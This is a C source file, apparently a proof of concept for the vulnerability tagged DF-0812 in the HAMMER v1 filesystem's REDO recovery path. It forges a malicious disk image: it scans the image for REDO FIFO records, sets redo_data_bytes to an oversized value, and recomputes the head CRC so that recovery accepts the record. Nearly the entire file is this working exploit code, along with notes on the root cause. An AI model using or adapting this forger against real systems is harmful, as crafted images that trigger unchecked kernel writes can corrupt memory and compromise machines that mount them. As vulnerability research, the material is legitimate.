DF-0812 / craft_img.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 | /* * craft_img.c - HAMMER v1 image forger for DF-0812. * * DF-0812 root cause: hammer_recover_redo_exec() at * sys/vfs/hammer/hammer_recover.c:1296-1335 handles HAMMER_REDO_WRITE: * * vn_rdwr(UIO_WRITE, vp, (void*)(redo+1), * redo->redo_data_bytes, redo->redo_offset, ...); * * redo_data_bytes is int32 from disk (hammer_disk.h:662) and is NEVER * compared to the payload capacity (hdr_size - sizeof(*redo) - sizeof(tail)). * Contrast the UNDO path at recover.c:1053-1060 which DOES validate * undo_data_bytes. The FIFO head CRC (hammer_crc.h:195-200) only covers * hdr_size bytes, so an attacker recomputes the CRC for any redo_data_bytes. * * This forger scans the UNDO/REDO FIFO area of a HAMMER v1 image for * FIFO records of type HAMMER_HEAD_TYPE_REDO (0x0044), patches * redo->redo_data_bytes to a forged value, and recomputes the FIFO * head CRC so recovery accepts the record. * * Build: cc -O2 -o craft_img craft_img.c icrc32.c * Usage: ./craft_img <image.img> [forged_bytes] (default 0x7FFFFFFF) */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <inttypes.h> #include <unistd.h> #include <fcntl.h> /* userspace iscsi_crc32 from icrc32.c (verbatim copy of sys/libkern/icrc32.c) */ extern uint32_t iscsi_crc32(const void *buf, size_t size); /* ---- HAMMER on-disk constants (hammer_disk.h) ---- */ #define HAMMER_FSBUF_VOLUME 0xC8414D4DC5523031ULL #define HAMMER_BUFSIZE 16384 #define HAMMER_HEAD_SIGNATURE 0xC84EU #define HAMMER_TAIL_SIGNATURE 0xC74FU #define HAMMER_HEAD_TYPE_PAD (0x0040U | 0x8000U) #define HAMMER_HEAD_TYPE_REDO 0x0044U #define HAMMER_HEAD_ALIGN 8 #define HAMMER_HEAD_ALIGN_MASK (HAMMER_HEAD_ALIGN - 1) #define HAMMER_REDO_WRITE 0x00000001 /* volume_ondisk field offsets (struct hammer_volume_ondisk) */ #define VOFF_signature 0 #define VOFF_vol_mem_beg 16 /* int64_t vol_mem_beg -- UNDO/REDO FIFO start */ #define VOFF_vol_buf_beg 24 #define VOFF_vol_version 152 /* struct hammer_fifo_head (16 bytes) */ #define HEAD_SIZE 16 #define OFF_hdr_signature 0 #define OFF_hdr_type 2 #define OFF_hdr_size 4 #define OFF_hdr_seq 8 #define OFF_hdr_crc 12 #define HAMMER_FIFO_HEAD_CRCOFF 12 /* offsetof(hammer_fifo_head, hdr_crc) */ /* struct hammer_fifo_tail (8 bytes) */ #define TAIL_SIZE 8 #define OFF_tail_signature 0 #define OFF_tail_type 2 #define OFF_tail_size 4 /* struct hammer_fifo_redo layout after the 16-byte head: * i64 redo_objid @ 0 * u64 redo_offset @ 8 * i32 redo_data_bytes @ 16 * u32 redo_flags @ 20 * u32 redo_localization @ 24 * u32 redo_reserved01 @ 28 * u64 redo_reserved02 @ 32 * total payload-header = 40 bytes, so redo struct = 16+40 = 56 bytes */ #define REDO_DATA_BYTES_OFF (HEAD_SIZE + 16) /* redo_data_bytes within record */ #define REDO_FLAGS_OFF (HEAD_SIZE + 20) #define REDO_SIZEOF 56 /* little-endian helpers */ static uint16_t rd16(const uint8_t *p){ return (uint16_t)(p[0] | (p[1]<<8)); } static uint32_t rd32(const uint8_t *p){ return (uint32_t)(p[0] | (p[1]<<8) | (p[2]<<16) | ((uint32_t)p[3]<<24)); } static uint64_t rd64(const uint8_t *p){ return (uint64_t)p[0] | ((uint64_t)p[1]<<8) | ((uint64_t)p[2]<<16) | ((uint64_t)p[3]<<24) | ((uint64_t)p[4]<<32) | ((uint64_t)p[5]<<40) | ((uint64_t)p[6]<<48) | ((uint64_t)p[7]<<56); } static void wr16(uint8_t *p, uint16_t v){ p[0]=v; p[1]=v>>8; } static void wr32(uint8_t *p, uint32_t v){ p[0]=v; p[1]=v>>8; p[2]=v>>16; p[3]=v>>24; } /* * FIFO head CRC: XOR of iscsi_crc32(head[0:CRCOFF]) and * iscsi_crc32(head+1, hdr_size - sizeof(head)). * (hammer_crc.h:196-200, hammer_crc_get_fifo_head) */ static uint32_t fifo_head_crc(const uint8_t *rec, uint32_t hdr_size, uint32_t vol_version) { /* For version >= 7, use iscsi_crc32 (our icrc32.c). For version < 7, HAMMER uses the old crc32. We focus on version 7 (default for newfs_hammer on DEV) but handle both via a flag. */ if (vol_version >= 7) { uint32_t c1 = iscsi_crc32(rec, HAMMER_FIFO_HEAD_CRCOFF); uint32_t c2 = iscsi_crc32(rec + HEAD_SIZE, hdr_size - HEAD_SIZE); return c1 ^ c2; } /* version < 7 uses crc32 — not supported in this tool, warn at call site */ return 0xFFFFFFFF; } int main(int argc, char **argv) { const char *path = (argc > 1) ? argv[1] : "scratch.img"; int32_t forged_bytes = (argc > 2) ? (int32_t)strtoll(argv[2], NULL, 0) : 0x7FFFFFFF; int fd = open(path, O_RDWR); if (fd < 0) { perror("open"); return 1; } /* read volume header */ uint8_t vhdr[512]; if (pread(fd, vhdr, sizeof vhdr, 0) != (ssize_t)sizeof vhdr) { perror("pread vhdr"); close(fd); return 1; } uint64_t sig = rd64(vhdr + VOFF_signature); if (sig != HAMMER_FSBUF_VOLUME) { fprintf(stderr, "not a HAMMER volume (sig=%016" PRIx64 ")\n", sig); close(fd); return 1; } int64_t vol_mem_beg = (int64_t)rd64(vhdr + VOFF_vol_mem_beg); int64_t vol_buf_beg = (int64_t)rd64(vhdr + VOFF_vol_buf_beg); uint32_t vol_version = rd32(vhdr + VOFF_vol_version); printf("[*] image : %s\n", path); printf("[*] vol_mem_beg : 0x%llx (UNDO/REDO FIFO start)\n", (long long)vol_mem_beg); printf("[*] vol_buf_beg : 0x%llx (FIFO end / zone-2 start)\n", (long long)vol_buf_beg); printf("[*] vol_version : %u\n", vol_version); printf("[*] FIFO size : %lld bytes\n", (long long)(vol_buf_beg - vol_mem_beg)); printf("[*] forged bytes : %d (0x%08x)\n", forged_bytes, (unsigned)forged_bytes); if (vol_version < 7) { fprintf(stderr, "[!] vol_version < 7 uses crc32 (not iscsi_crc32). " "CRC recompute will be wrong. Aborting.\n"); close(fd); return 1; } off_t imgsz = lseek(fd, 0, SEEK_END); printf("[*] image size : %lld bytes\n\n", (long long)imgsz); /* Scan the ENTIRE image for REDO records. The UNDO/REDO FIFO data is stored in big-blocks mapped via vol0_undo_array[], so records may be at physical offsets well past vol_mem_beg. Scanning the whole image is the robust approach. */ int found = 0; int patched = 0; off_t off; for (off = 0; off + REDO_SIZEOF + TAIL_SIZE <= imgsz; off += HAMMER_HEAD_ALIGN) { uint8_t rec[HAMMER_BUFSIZE]; /* max record size */ if (pread(fd, rec, HEAD_SIZE, off) != HEAD_SIZE) break; uint16_t hsig = rd16(rec + OFF_hdr_signature); uint16_t htype = rd16(rec + OFF_hdr_type); uint32_t hsize = rd32(rec + OFF_hdr_size); if (hsig != HAMMER_HEAD_SIGNATURE) continue; if (hsize < HEAD_SIZE + TAIL_SIZE || hsize > HAMMER_BUFSIZE) continue; if ((hsize & HAMMER_HEAD_ALIGN_MASK) != 0) continue; /* Read the full record */ if (pread(fd, rec, hsize, off) != (ssize_t)hsize) continue; /* Verify tail */ uint8_t *tailp = rec + hsize - TAIL_SIZE; if (rd16(tailp + OFF_tail_signature) != HAMMER_TAIL_SIGNATURE) continue; if (rd16(tailp + OFF_tail_type) != htype) continue; if (rd32(tailp + OFF_tail_size) != hsize) continue; found++; printf("[*] FIFO record @ phys 0x%llx: type=0x%04x size=%u seq=%u\n", (long long)off, htype, hsize, rd32(rec + OFF_hdr_seq)); if (htype == HAMMER_HEAD_TYPE_REDO) { int32_t old_bytes = (int32_t)rd32(rec + REDO_DATA_BYTES_OFF); uint32_t flags = rd32(rec + REDO_FLAGS_OFF); int32_t capacity = (int32_t)hsize - REDO_SIZEOF - TAIL_SIZE; printf(" redo_data_bytes = %d (capacity %d, flags=0x%08x)\n", old_bytes, capacity, flags); if (flags != HAMMER_REDO_WRITE) { printf(" -> not HAMMER_REDO_WRITE, skipping\n"); } else { /* FORGE: patch redo_data_bytes */ wr32(rec + REDO_DATA_BYTES_OFF, (uint32_t)forged_bytes); /* Recompute FIFO head CRC over hsize bytes */ uint32_t old_crc = rd32(rec + OFF_hdr_crc); wr32(rec + OFF_hdr_crc, 0); /* CRC field must be 0 for... no, the CRC formula skips it */ /* Actually the CRC formula is: crc = iscsi_crc32(rec[0:12]) ^ iscsi_crc32(rec[16:hdr_size]) So the 4-byte hdr_crc field at [12:16] is SKIPPED. We can set it to anything before computing, then store the result. */ uint32_t new_crc = fifo_head_crc(rec, hsize, vol_version); wr32(rec + OFF_hdr_crc, new_crc); printf(" FORGED: redo_data_bytes %d -> %d\n", old_bytes, forged_bytes); printf(" CRC: old=%08x new=%08x\n", old_crc, new_crc); /* Write back the record */ if (pwrite(fd, rec, hsize, off) != (ssize_t)hsize) { perror(" pwrite"); } else { printf(" [+] patched at phys 0x%llx\n", (long long)off); patched++; } } } /* advance by hdr_size to find the next record */ off += hsize - HAMMER_HEAD_ALIGN; /* loop adds HAMMER_HEAD_ALIGN */ } printf("\n[*] Found %d FIFO record(s), patched %d REDO record(s).\n", found, patched); close(fd); return (patched > 0) ? 0 : 2; } |